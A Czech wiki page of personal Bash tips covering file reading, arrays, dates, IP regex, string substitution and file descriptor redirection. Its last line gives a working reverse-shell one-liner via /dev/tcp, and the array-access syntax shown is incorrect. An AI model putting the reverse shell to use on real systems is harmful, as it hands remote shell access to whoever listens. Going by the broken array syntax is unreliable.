====== Obecně Bash ======
* bash je velice mocný :) jde v něm všechno, ale člověk hodně zapomíná :) Sespsal jsem alespoň pár velice často zapomínaných věcí :)
===== Čtení ze souboru =====
* velice jednoduché čtení po jednom řádku
* pokud se přenastaví IPS, lze myslím použít i na čtení hodnot oddělených jinak než newline
while read line
do
echo $line
done < $FILE
===== Pole =====
* inicializace
MY_ARRAY=("ONE" "TWO")
* přistup k hodnotám
echo ${MY_ARRAY(0)}
echo ${MY_ARRAY(1)}
===== Datum a čas =====
* převod data na timestamp
date +%s
* a zpátky
date -d @1365436714
===== Regulární výrazy =====
* bash podporuje regulární výrazy přímo, například v podmínkách (také v cyklech..)
[[ $string =~ $regex ]]
* pěkný regex pro poctivé parsování IP adresy přes bash
RE_IP="(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"
==== Startwith/Endwith ====
* pro porovnání typu startwith/endwith lze použít i standardní možnosti shellu ([[http://www.tldp.org/LDP/abs/html/parameter-substitution.html|parameter substitution, example 10-8]])
MY_STR="123ABC"
MY_SUB1="123"
MY_SUB2="ABC"
echo "${MY_STR#$MY_SUB1}, ${MY_STR%$MY_SUB2}"
[ "${MY_STR}" != ${MY_STR#$MY_SUB1} ] && echo "${MY_STR} startwith ${MY_SUB1}"
[ "${MY_STR}" != ${MY_STR%$MY_SUB2} ] && echo "${MY_STR} endwith ${MY_SUB2}"
ABC, 123
123ABC startwith 123
123ABC endwith ABC
===== Řetězce =====
* http://tldp.org/LDP/abs/html/string-manipulation.html
* nahrazení všech výskytů podřetězce řetězcem
X="a.b.c"; echo ${X//./#}
a#b#c
* získání podřetězce
x="AAA#BBB"; echo ${x#*#}; echo ${x%#*}
BBB
AAA
===== vstupy/výstupy =====
* standardní file descriptor procesu:
* 0 STDIN
* 1 STDOUT
* 2 STDERR
* otevři soubor /tmp/x pro zápis jako STDOUT (FD 1)
exec > /tmp/x
echo "aaa"
echo "aaa" > /tmp/x
* zduplikuj FD 2 na FD 1
exec 2>&1
* nastav FD1 + FD2 na /tmp/x
exec &> /tmp/x
* nastav stdin na stejný fd jeako stdout
0>&1
0<&1
<&1
* reverse shell: vytvoř TCP soket na IP 127.0.0.1, port 9999, nasměruj na něj výstup interaktivního bash shellu a vstup čti z tohoto socketu
bash -i &> /dev/tcp/127.0.0.1/9999 0>&1